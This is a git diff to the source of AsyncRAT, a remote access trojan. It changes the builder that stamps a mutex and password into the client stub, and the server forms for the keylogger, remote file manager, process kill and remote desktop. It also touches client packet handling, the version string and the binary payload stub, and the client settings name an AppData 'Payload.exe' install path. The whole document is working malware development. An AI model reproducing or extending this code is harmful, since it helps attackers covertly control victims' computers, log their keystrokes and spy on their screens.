diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Builder.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Builder.cs index 8f63445..dcb012c 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Builder.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Builder.cs @@ -56,7 +56,7 @@ namespace AsyncRAT_Sharp.Forms method.Body.Instructions[i].Operand = chkAnti.Checked.ToString().ToLower(); if (method.Body.Instructions[i].Operand.ToString() == "%MTX%") - method.Body.Instructions[i].Operand = Path.GetRandomFileName(); + method.Body.Instructions[i].Operand = Guid.NewGuid().ToString(); if (method.Body.Instructions[i].Operand.ToString() == "NYAN CAT") method.Body.Instructions[i].Operand = Settings.Password; diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FileManager.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FileManager.cs index fd6847f..105a8c1 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FileManager.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FileManager.cs @@ -27,7 +27,7 @@ namespace AsyncRAT_Sharp.Forms msgpack.ForcePathObject("Packet").AsString = "fileManager"; msgpack.ForcePathObject("Command").AsString = "getPath"; msgpack.ForcePathObject("Path").AsString = listView1.SelectedItems[0].ToolTipText; - C.BeginSend(msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(C.BeginSend, msgpack.Encode2Bytes()); toolStripStatusLabel1.Text = listView1.SelectedItems[0].ToolTipText; } } @@ -47,7 +47,7 @@ namespace AsyncRAT_Sharp.Forms { msgpack.ForcePathObject("Packet").AsString = "fileManager"; msgpack.ForcePathObject("Command").AsString = "getDrivers"; - C.BeginSend(msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(C.BeginSend, msgpack.Encode2Bytes()); return; } path = path.Remove(path.LastIndexOfAny(new char[] { '\\' }, path.LastIndexOf('\\'))); @@ -62,7 +62,7 @@ namespace AsyncRAT_Sharp.Forms MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "fileManager"; msgpack.ForcePathObject("Command").AsString = "getDrivers"; - C.BeginSend(msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(C.BeginSend, msgpack.Encode2Bytes()); return; } @@ -151,7 +151,7 @@ namespace AsyncRAT_Sharp.Forms msgpack.ForcePathObject("Packet").AsString = "fileManager"; msgpack.ForcePathObject("Command").AsString = "getPath"; msgpack.ForcePathObject("Path").AsString = toolStripStatusLabel1.Text; - C.BeginSend(msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(C.BeginSend, msgpack.Encode2Bytes()); } catch { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Keylogger.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Keylogger.cs index f7c0674..5b5c040 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Keylogger.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Keylogger.cs @@ -7,6 +7,7 @@ using System.Data; using System.Drawing; using System.Linq; using System.Text; +using System.Threading; using System.Threading.Tasks; using System.Windows.Forms; @@ -32,7 +33,7 @@ namespace AsyncRAT_Sharp.Forms MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "keyLogger"; msgpack.ForcePathObject("isON").AsString = "false"; - C.BeginSend(msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(C.BeginSend, msgpack.Encode2Bytes()); } } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/ProcessManager.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/ProcessManager.cs index 747eed5..23308c1 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/ProcessManager.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/ProcessManager.cs @@ -5,6 +5,7 @@ using System.Data; using System.Drawing; using System.Linq; using System.Text; +using System.Threading; using System.Threading.Tasks; using System.Windows.Forms; using AsyncRAT_Sharp.MessagePack; @@ -39,7 +40,7 @@ namespace AsyncRAT_Sharp.Forms msgpack.ForcePathObject("Packet").AsString = "processManager"; msgpack.ForcePathObject("Option").AsString = "Kill"; msgpack.ForcePathObject("ID").AsString = P.SubItems[lv_id.Index].Text; - C.BeginSend(msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(C.BeginSend, msgpack.Encode2Bytes()); }); } } @@ -52,7 +53,7 @@ namespace AsyncRAT_Sharp.Forms MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "processManager"; msgpack.ForcePathObject("Option").AsString = "List"; - C.BeginSend(msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(C.BeginSend, msgpack.Encode2Bytes()); }); } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.cs index b56fd80..ec51fa7 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.cs @@ -12,6 +12,7 @@ using System.Threading.Tasks; using System.Windows.Forms; using AsyncRAT_Sharp.Sockets; using AsyncRAT_Sharp.MessagePack; +using System.Threading; namespace AsyncRAT_Sharp.Forms { @@ -28,7 +29,7 @@ namespace AsyncRAT_Sharp.Forms public int FPS = 0; public Stopwatch sw = Stopwatch.StartNew(); public Stopwatch RenderSW = Stopwatch.StartNew(); - public IUnsafeCodec decoder = new UnsafeStreamCodec(80); + public IUnsafeCodec decoder = new UnsafeStreamCodec(60); private void timer1_Tick(object sender, EventArgs e) { @@ -43,7 +44,7 @@ namespace AsyncRAT_Sharp.Forms MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; msgpack.ForcePathObject("Option").AsString = "true"; - C.BeginSend(msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(C.BeginSend, msgpack.Encode2Bytes()); decoder = new UnsafeStreamCodec(60); } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe index 6ab68eb..e7d8b45 100644 Binary files a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe and b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe differ diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs index 150ce3f..4c362e2 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs @@ -14,6 +14,6 @@ namespace AsyncRAT_Sharp public static string Password { get; set; } public static Aes256 aes256{ get; set; } - public static readonly string Version = "AsyncRAT 0.4"; + public static readonly string Version = "AsyncRAT 0.4B"; } } diff --git a/AsyncRAT-C#/Client/Handle Packet/HandlePacket.cs b/AsyncRAT-C#/Client/Handle Packet/HandlePacket.cs index 3c508eb..20bcc3a 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandlePacket.cs +++ b/AsyncRAT-C#/Client/Handle Packet/HandlePacket.cs @@ -96,12 +96,14 @@ namespace Client.Handle_Packet { case "false": { + if (RemoteDesktop.RemoteDesktop_Status == false) return; RemoteDesktop.RemoteDesktop_Status = false; } break; case "true": { + if (RemoteDesktop.RemoteDesktop_Status == true) return; RemoteDesktop.RemoteDesktop_Status = true; RemoteDesktop.CaptureAndSend(); } diff --git a/AsyncRAT-C#/Client/Settings.cs b/AsyncRAT-C#/Client/Settings.cs index efca5d4..884dc6b 100644 --- a/AsyncRAT-C#/Client/Settings.cs +++ b/AsyncRAT-C#/Client/Settings.cs @@ -8,7 +8,7 @@ namespace Client { public static readonly string Ports = "6606"; public static readonly string Host = "127.0.0.1"; - public static readonly string Version = "AsyncRAT 0.4"; + public static readonly string Version = "AsyncRAT 0.4B"; public static readonly string Install = "false"; public static readonly string ClientFullPath = Path.Combine(Environment.ExpandEnvironmentVariables("%AppData%"), "Payload.exe"); public static string Password = "NYAN CAT";